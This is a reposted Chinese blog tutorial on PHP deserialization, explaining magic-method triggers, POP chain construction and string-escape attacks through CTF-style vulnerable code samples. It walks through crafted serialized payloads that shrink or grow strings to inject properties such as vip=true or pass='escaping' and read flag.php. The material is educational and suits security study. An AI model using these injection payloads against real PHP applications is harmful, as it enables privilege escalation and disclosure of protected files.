php反序列化学习(2)

ops/2024/9/23 14:35:40/

 1、魔术方法触发规则:

魔术方法触发的前提是:魔法方法所在类(或对象)被调用

分析代码,_wakeup()的触发条件是进行反序列化,_tostrinng()触发的条件是把对象当成字符串调用,但是魔术方法触发的前提是:魔法方法所在类(或对象)被调用,所以_wakeup()没有调用,echo将反序列化的对象当做字符串使用,则_tostrinng()被触发。如果要输出“tostring is here”就需要调用_tostrinng()函数,所以要在source中包含sec实例化的对象

构造得到payload

2、pop链构造与poc编写

pop链:

pop链就是利用魔法方法在里面实现多次跳转然后获取敏感数据的一种payload。

poc:中文译做概念验证,可以理解为漏洞验证程序,是一段不完整的代码(用于验证提出者观点)

首先分析代码,目标:触发echo,调用flag
第一步:触发invoke,调用append,并使Svar=flag.php(invoke触发条件:把对象当成函数)

给Sp赋值为对象,即function成为对象Modifier
却被当成函数调用,触发Modifier中的invoke

第二步:触发get,(触发条件:调用不存在的成员属性)给Sstr赋值为对象Test,而Test中不存在成员属性source,
则可触发Test里的成员方法get
第三步:触发toString (触发条件:把对象当成字符串)给Ssource赋值为对象Show,当成字符串被echo调用,触发toString

据此写出构造payload的代码

因为private属性所以要在前后加上%00后上传。

3、字符串逃逸:

字符减少:

反序列化分隔符:反序列化以;}结束,后面的字符串不影响正常的反序列化

属性逃逸:一般在数据经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少时可能存在反序列化属性逃逸。

原因:

1、成员属性数量不对

2、成员属性名称长度不对

3、内容长度不对

在前面字符串没有问题的情况下,;}是反序列化的结束符,后面的字符串不影响反序列化结果。但是;}不一定都是结束符,是字符串还是格式符是由前面的数字判断的。

<?php
highlight_file(__FILE__);
error_reporting(0);
class A{public $v1 = "abcsystem()system()system()";public $v2 = '123';public function __construct($arga,$argc){$this->v1 = $arga;$this->v2 = $argc;}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?> 

  分析:

  O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}

    如果要逃逸123,就把前面的代码abc";s:2:"v2";s:3:"变成一个字符串

    思路:通过修改$v2的值123使后面的字符串变为功能性代码;s:2:"v3";N;}实现属性v2的逃逸

    O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:?:";s:2:"v3";N;}";}

   (字符串缺失导致格式被破坏,system()被吃掉,abc";s:2:"v长度为11; 令O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:3:"123";})

  因此需要让123前面的代码abc";s:2:"v2";s:3:"成为一个字符串

    O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:xx:";s:2:"v3";N;}
   

一个system()可以替换掉8个字符,abc";s:2:"v2";s:xx:";长度为20,所以前面最少要吃掉3个system()

    O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()syestem()";s:2:"v2";s:xx:";s:2:"v3";N;}";}

    abcsystem()system()syestem()的长度是27,吃掉后abc";s:2:"v2";s:xx:"长度为20,

    所以后面还要再补上7个字符,故:

    O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()syestem()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}

所以,v1赋值为abcsystem()system()system();v2赋值为1234567";s:2:"v3";N;}

字符逃逸减少例题:

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hk",$name);return $name;
}
class test{var $user;var $pass;var $vip = false ;function __construct($user,$pass){$this->user=$user;$this->pass=$pass;}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));if ($profile->vip){echo file_get_contents("flag.php");
}
?>

要输出flag就需要if ($profile->vip){判断为真,因此在赋值时需要将其值改为true。

一:字符串过滤后减少还是增多
二:构造出关键成员属性序列化字符串
$vip=ture
三:变少则判断吃掉的内容,并计算长度
四:构造payload并输出

O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:3:"dun";s:3:"vip";b:1;}

flag被替换成hk,字符声减少会吃掉后面的结构代码

关键代码";s:3:"vip";b:1;}需要吃掉吃掉”:s:4"pass";s:3,$pass的值dun可控,可实现字符串逃逸。

但是这样的话成员属性就会减少一个,所以要多吃一个1,吃掉":s:4:"pass"'s:Xx:"1,这样总共吃了20位,flag转变成hk每次吃掉2个字符,所以共需要10个flag而多吃的一位可以在后面补。

给关键成员属性赋值,得到初始序列化代码。

<?php
//function filter($name){
//    $safe=array("flag","php");
//    $name=str_replace($safe,"hk",$name);
//    return $name;
//}
class test{var $user = 'flag';var $pass = 'dun';var $vip = true ;
//    function __construct($user,$pass){
//        $this->user=$user;
//        $this->pass=$pass;
//    }
//}
//$param=$_GET['user'];
//$pass=$_GET['pass'];
//$param=serialize(new test($param,$pass));
//$profile=unserialize(filter($param));
//
//if ($profile->vip){
//    echo file_get_contents("flag.php");
}
echo serialize(new test());
?>

用目标代码赋值($pass的值dun可控,可实现字符串逃逸。)

给pass赋值:1 ";s:4:"pass";s:3:"dun";s:3:"vip";b:1;}  (flag转变成hk每次吃掉2个字符,所以共需要10个flag而多吃的一位可以在后面补

user赋值:flagflagflagflagflagflagflagflagflagflag

<?php
//function filter($name){
//    $safe=array("flag","php");
//    $name=str_replace($safe,"hk",$name);
//    return $name;
//}
class test{var $user = 'flagflagflagflagflagflagflagflagflagflag';var $pass = '1 ";s:4:"pass";s:3:"dun";s:3:"vip";b:1;}';var $vip = true ;
//    function __construct($user,$pass){
//        $this->user=$user;
//        $this->pass=$pass;
//    }
//}
//$param=$_GET['user'];
//$pass=$_GET['pass'];
//$param=serialize(new test($param,$pass));
//$profile=unserialize(filter($param));
//
//if ($profile->vip){
//    echo file_get_contents("flag.php");
}
echo serialize(new test());
?>

字符增多:(例题)

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hack",$name);return $name;
}
class test{var $user;var $pass='daydream';function __construct($user){$this->user=$user;}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));if ($profile->pass=='escaping'){echo file_get_contents("flag.php");
}
?>

首先观察代码发现替换后字符串增加

<?php
class test
{var $user = 'dun';var $pass = 'escaping';
}
echo serialize(new test());?>

O:4:"test":2:{s:4:"user";s:3:"dun";s:4:"pass";s:8:"escaping";}

得到结果,";s:4:"pass";s:8:"escaping";}就是需要逃逸的内容,共有29个,每个hack替换一个php,则替换29个字符需要输入29个php,所以user=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

<?php
class test
{var $user = 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';var $pass = 'escaping';
}
//echo serialize(new test());$a = serialize(new test());    
$a = str_replace("php","hack",$a);
echo $a;   ?>

O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"escaping";}

总结:

反序列化字符串减少逃逸:多逃逸出一个成员属性,第一个字符串减少,吃掉有效代码,在第二个字符串构造代码
反序列化字符串增多逃逸:构造出一个逃逸成员属性第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性


http://www.ppmy.cn/ops/45759.html

相关文章

C#数据类型变量、常量

一个变量只不过是一个供程序操作的存储区的名字。 在 C# 中&#xff0c;变量是用于存储和表示数据的标识符&#xff0c;在声明变量时&#xff0c;您需要指定变量的类型&#xff0c;并且可以选择性地为其分配一个初始值。 在 C# 中&#xff0c;每个变量都有一个特定的类型&…

每日一博 - 复习Https工作原理

文章目录 PreFlow单向认证1. TCP 握手包2. 证书校验3. 密钥交换4. 数据传输非对称加密与对称加密关键要点 双向认证双向认证步骤1. TCP 握手2. TLS 握手开始3. 服务器认证4. 客户端认证5. 服务器完成认证6. 加密通信 图示说明关键点 Pre 每日一博 - 闲聊Https工作原理 Flow 单…

数据结构与算法笔记:基础篇 - 栈:如何实现浏览器的前进和后退功能?

概述 浏览器的前进、后退功能&#xff0c;你肯定很熟悉吧&#xff1f; 当依次访问完一串页面 a-b-c 之后&#xff0c;点击浏览器的后退按钮&#xff0c;就可以查看之前浏览过的页面 b 和 a。当后退到页面 a&#xff0c;点击前进按钮&#xff0c;就可以重新查看页面 b 和 c。但…

前端基础1-6 :es6

点击跳转&#xff0c;详细查看es6 const常量 const LIMIT 10; const OBJ_MAP {a: A,A: a }1. 不允许重复声明赋值 var arg1 aarg1 aa// 常量 - ES5Object.defineProperty(window, arg2, {value: aaa,writable: false})// ES6const arg2 aaa2. 块级作用域 if (true) {con…

Nginx 实战-02-nginx proxy_pass 服务代理访问 使用笔记 ubuntu nodejs

前言 大家好&#xff0c;我是老马。很高兴遇到你。 我们为 java 开发者实现了 java 版本的 nginx https://github.com/houbb/nginx4j 如果你想知道 servlet 如何处理的&#xff0c;可以参考我的另一个项目&#xff1a; 手写从零实现简易版 tomcat minicat 手写 nginx 系列 …

Elasticsearch 认证模拟题 - 5

一、题目 .在集群上有一个索引 food_ingredient&#xff0c;搜索需要满足以下要求&#xff1a; 三个字段 manufacturer&#xff0c;name&#xff0c;brand 都能匹配到文本 cake mix高亮 字段 name&#xff0c;并加标签排序&#xff0c;对字段 brand 正序&#xff0c;_score 降…

Dynamics 365:安全的客户参与应用程序

客户参与应用程序使用Microsoft Dataverse提供了一个丰富的安全模型&#xff0c;可以适应许多业务场景。本节为您提供了应考虑的安全措施的特定于产品的指导。 Dataverse安全模型有以下目标&#xff1a; 只允许用户访问他们工作所需的信息。按角色对用户进行分组&#xff0c;并…

【Linux】操作系统之冯诺依曼体系

&#x1f389;博主首页&#xff1a; 有趣的中国人 &#x1f389;专栏首页&#xff1a; Linux &#x1f389;其它专栏&#xff1a; C初阶 | C进阶 | 初阶数据结构 小伙伴们大家好&#xff0c;本片文章将会讲解 操作系统中 冯诺依曼体系 的相关内容。 如果看到最后您觉得这篇文…